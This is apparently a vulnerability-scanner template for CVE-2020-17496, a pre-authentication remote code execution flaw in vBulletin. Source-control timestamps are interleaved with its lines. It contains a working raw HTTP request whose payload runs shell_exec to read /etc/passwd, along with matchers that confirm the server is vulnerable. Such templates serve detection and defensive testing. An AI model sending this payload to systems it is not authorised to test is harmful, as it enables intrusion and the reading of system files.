2021-02-24 20:00:52 +00:00
id : CVE-2020-17496
info :
name : vBulletin Pre-Auth RCE
2021-02-25 09:04:22 +00:00
author : pussycat0x
severity : critical
2021-02-24 20:00:52 +00:00
reference : https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed
2021-03-11 15:05:12 +00:00
description : |
vBulletin 5.5.4 through 5.6.2 allows remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE : this issue exists because of an incomplete fix for CVE-2019-16759.
2021-02-25 09:04:22 +00:00
tags : cve,cve2020,vbulletin,rce
2021-02-24 20:00:52 +00:00
requests :
2021-02-25 09:31:40 +00:00
- raw :
- |
POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Content-Type : application/x-www-form-urlencoded
2021-02-25 09:04:22 +00:00
2021-02-25 09:31:40 +00:00
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;"
2021-02-25 09:04:22 +00:00
2021-02-25 06:55:34 +00:00
matchers-condition : and
matchers :
2021-02-25 09:13:06 +00:00
- type : regex
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0"
2021-02-25 09:13:06 +00:00
- type : status
status :
- 200
